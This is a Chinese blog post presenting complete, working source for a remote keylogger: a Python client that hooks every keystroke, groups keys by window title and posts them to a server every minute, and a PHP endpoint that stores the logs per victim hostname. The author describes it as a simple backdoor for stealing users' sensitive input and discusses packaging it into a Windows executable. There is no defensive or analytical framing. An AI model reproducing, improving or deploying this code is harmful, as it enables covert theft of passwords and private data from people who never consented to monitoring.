Python+PHP实现远程键盘记录

键盘记录 看到个了这个有趣的东西。我把他改了下,把记录的内容通过http请求,发送到了服务端,保存在服务端,这样感觉可以做为一种简单的后门程序,通过键盘记录来窃取用户输入的敏感信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import keyboard
import time
import win32gui
import json
import requests
import socket

class Clavier:
def __init__(self):
self.keyword = {}
self.nowTime = int(time.time())
self.url = 'http://127.0.0.1/v1/api.php?hostname='+socket.gethostname()
def up(self,e):
if(e.event_type=='up'): # 当按键抬起时,记录按键名称
win = win32gui.GetForegroundWindow() # 获取窗口
winTitle = win32gui.GetWindowText(win) # 获取窗口名称
if winTitle in self.keyword.keys(): # 按键的存储以窗口名称为key,按键值对value,存成dict的形式
self.keyword[winTitle].append(e.name)
else:
self.keyword[winTitle] = [e.name]
self.dict2json()
self.sendToServer()

def dict2json(self):
jsonData = json.dumps(self.keyword)
self.jsonData = jsonData

def sendToServer(self):
if int(time.time())-self.nowTime>60: # 每隔60秒向服务器发送一次记录
try:
requests.post(self.url,data=self.jsonData)
except:
pass


if __name__ == '__main__':
key = Clavier()
keyboard.hook(key.up) # 监听所有键盘事件,当有按键按下时,触发回调函数
keyboard.wait() # 阻塞监听,可以设置参数为对应按键名,这样当按下对应键位时退出监听

服务端用PHP简单的写了下,感觉保存的方式还不够优雅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if($_SERVER['REQUEST_METHOD']=='POST'){
$json = file_get_contents("php://input");
$fileName = $_GET['hostname'].'-'.date('Y-m-d-H-i').".txt";
$file = fopen($fileName,"w");
$str = json_decode($json);
foreach ($str as $key => $values){
fwrite($file,"------------------------------ {$key} -------------------------------\r\n\r\n");
foreach ($values as $value){
fwrite($file,$value.' ');
}
fwrite($file,"\r\n\r\n");
}
fclose($file);
}else{
echo 'Request Error';
}

最后阐述下遇到的几个问题

问题一

在用 pyinstaller 打包的时候遇到了下面这个报错

1
TypeError: an integer is required (got type bytes)

最后在 pyinstaller 的 GitHub issues 处找到原因。因为我使用的是 python3.8.1

直接 pip install pyinstaller 安装的 pyinstaller 不是最新版本,不兼容 python3.8.1,需要使用如下命令安装最新版本即可

1
pip install https://github.com/pyinstaller/pyinstaller/archive/develop.tar.gz

问题二

打包完运行时,遇到了如下报错

1
ImportError: DLL load failed while importing win32gui: 找不到指定的模块。

py文件直接运行时正常,打包成exe就提示找不到模块了。不清楚什么问题,查询相关内容发现说win32gui不支持python3.8

我又用 python3.6 重新打包了一次,运行后报了同样的错误。暂时没找到解决办法。